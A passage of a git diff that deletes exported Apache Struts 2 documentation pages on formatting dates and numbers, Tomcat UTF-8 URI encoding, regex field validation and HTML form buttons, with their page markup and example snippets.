-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How to format dates and numbers</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="how-to-format-dates-and-numbers.html">How to format dates and numbers</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How to format dates and numbers</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14101">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14101">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14101">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14101">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14101">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14101">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A frequently asked question is how best to display dates and numbers using a specified format. There are a number of approaches for this, the most naive of which would be to add a method to your action class to do the formatting for you. This method would take in a Date (or subclass) object as a parameter, and return a formatted String.</p>
-
-<p>That approach however suffers from a number of flaws. For example, it is not i18n aware. The date format specified is rigid, and will not adapt to different locales easily (assuming you're not using a default formatter that is). It also clutters up your actions with code that has nothing to do with the action itself.</p>
-
-<p>Instead, the recommended approach is to use Java's built-in date formatting features via use of the s:text tag.</p>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>While the s:text tag is still very useful to format numbers, date formatting has become a lot easier thanks to the <a shape="rect" href="date.html">s:date</a> tag.</p></div></div>
-
-<p>The s:text tag should be used for all i18n values. It will look up the properties file for your action, and from that select the value for the key that you specify. This is best illustrated in an example:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!-- display the number of items in a cart --&gt;
-&lt;s:text name="'cart.items'" value0="cartItems" /&gt;
-</pre>
-</div></div>
-
-<p>The above tag will work as follows. value0 will result in a call to <strong>getCartItems()</strong> on your action class. The <strong>cart.items</strong> name is escaped, so it is treated as a literal key into the actions' properties file. Your MyAction.properties file will contain the following:</p>
-
-<p><strong>cart.items=You have {0} items in your cart.</strong></p>
-
-<p>Normal Java <strong>MessageFormat</strong> behaviour will correctly substitute {0} with the value obtained from getCartItems.</p>
-
-<p>Needless to say, this can get a lot more elaborate, with the ability to specify both date and number formatting. Let us consider another example. The goal here is to display a greeting to the user, as well as the date of their last visit.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:text name="'last.visit'" value0="userName" value1="lastVisit(userName)" /&gt;
-</pre>
-</div></div>
-
-<p><strong>MyAction.java</strong> contains:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public String getUserName() { ... };
-public Date getLastVisit(String userName) { ... };
-</pre>
-</div></div>
-
-<p>Your <strong>MyAction.properties</strong> file will then contain:</p>
-
-<p><strong>last.visit=Welcome back {0}, your last visit was at {1,date,HH:mm dd-MM-yyyy}</strong></p>
-
-<p>As you can see, this is a very powerful mechanism and allows you to easily display numbers and dates using any formatting rules that Java allows.</p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">value0 interface deprecated</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The examples above pass in the values as:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:text name="'text.message'" value0="userName"/&gt;
-</pre>
-</div></div>
-<p>These values should now (&gt;2.1.7?) be passed as params:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:text name="'text.message'"&gt; 
-    &lt;s:param value="'userName'"/&gt;
-&lt;/s:text&gt;
-</pre>
-</div></div></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Some message format examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Here are some examples of formatting in the properties file:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-format.date = {0,date,MM/dd/yy}
-format.time = {0,date,MM/dd/yy ha}
-format.percent = {0,number,##0.00'%'}
-format.money = {0,number,$##0.00}
-</pre>
-</div></div></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-to-support-utf-8-uriencoding-with-tomcat.html b/content/docs/how-to-support-utf-8-uriencoding-with-tomcat.html
deleted file mode 100644
index 45543a7..0000000
--- a/content/docs/how-to-support-utf-8-uriencoding-with-tomcat.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How to support UTF-8 URIEncoding with Tomcat</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-to-support-utf-8-uriencoding-with-tomcat.html">How to support UTF-8 URIEncoding with Tomcat</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How to support UTF-8 URIEncoding with Tomcat</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14093">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14093">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14093">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14093">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14093">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14093">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>If your POST and GET parameters are not UTF-8 encoded when using Tomcat 5.x, try to adjust the Connector configuration in Tomcats server.xml like this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!-- Define a non-SSL HTTP/1.1 Connector on port 8080 --&gt;
-   &lt;Connector port="8080" maxHttpHeaderSize="8192"
-               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
-               enableLookups="false" redirectPort="8443" acceptCount="100"
-               connectionTimeout="20000" disableUploadTimeout="true"
-               URIEncoding="UTF-8"
-   /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-to-validate-field-formats-such-as-a-phone-number.html b/content/docs/how-to-validate-field-formats-such-as-a-phone-number.html
deleted file mode 100644
index 7b249b7..0000000
--- a/content/docs/how-to-validate-field-formats-such-as-a-phone-number.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How to validate field formats, such as a phone number</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="how-to-validate-field-formats-such-as-a-phone-number.html">How to validate field formats, such as a phone number</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How to validate field formats, such as a phone number</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14277">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14277">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14277">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14277">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14277">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14277">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Validating the format of String fields for patterns (such as a phone number) is easy with StringRegexValidator (named "regex" in the default validator configuration).</p>
-
-<p>Simply add the validator the field in question, and supply a regular expression to match it against.</p>
-
-<p><br clear="none" class="atl-forced-newline"></p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;validators&gt;
-    &lt;field name="phone"&gt;
-        &lt;field-validator type="regex"&gt;
-            &lt;param name="expression"&gt;\([\d][\d][\d]\) [\d][\d][\d]-[\d][\d][\d][\d]&lt;/param&gt;
-            &lt;message&gt;Phone number must be in the format (XXX) XXX-XXXX&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-</pre>
-</div></div>
-
-<p><br clear="none" class="atl-forced-newline"></p>
-
-<p>If your expression tests against alpha characters, you may be interested in the "caseSensitive" parameter of with Validator as well.  It defaults to "true".</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/html-form-buttons-howto.html b/content/docs/html-form-buttons-howto.html
deleted file mode 100644
index a7e1d98..0000000
--- a/content/docs/html-form-buttons-howto.html
+++ /dev/null
@@ -1,223 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>HTML form buttons HOWTO</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="html-form-buttons-howto.html">HTML form buttons HOWTO</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">HTML form buttons HOWTO</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14233">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14233">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14233">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14233">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14233">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14233">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This HOWTO will describe the usage of HTML form buttons to invoke different behavior in actions.</p><h2 id="HTMLformbuttonsHOWTO-Usingdifferentmethods">Using different methods</h2><p>The <em>method</em> attribute of the submit tag can be used to implement buttons that submit to different methods.</p><p>These boolean Properties can be tested to determine which button was pressed:</p><div class="code panel pdl" style="border-width: 1px;"><div clas [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;form action="MyAction.action"&gt;
-  &lt;s:submit method="save" value="Save"/&gt; 
-  &lt;s:submit method="delete" value="Delete"/&gt; 
-&lt;/form&gt;
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class MyAction extends Action {
-    public String save() {
-        message = "The save button was pressed";
-        return SUCCES;
-    }
-
-    public String delete() {
-        message = "The delete button was pressed";
-        return SUCCES;
-    }
- 
-    // Output parameters
-
-    private String message;
-    public String getMessage() {
-        return message;
-    }
-}
-</pre>
-</div></div><p><strong>Note</strong>: Do not use String properties with buttons and test for the value that's set. This will break as soon as the <em>value</em> attribute of the HTML button changes! This is likely because the <em>value</em> attribute is used as the button text.</p><h2 id="HTMLformbuttonsHOWTO-DynamicSetofButtons">Dynamic Set of Buttons</h2><p>Consider a web page showing a shopping cart or similiar tabular data. Often there is a button belonging to each row, in case of th [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;form action="UpdateCart.action"&gt;
-  &lt;s:iterate value="items"&gt;
-    &lt;s:property value="name"&gt; 
-    &lt;input type="submit" name="delete[&lt;s:property value='id'&gt;]" value="delete" /&gt; &lt;br/&gt;
-  &lt;/s:iterate&gt;
-&lt;/form&gt;
-</pre>
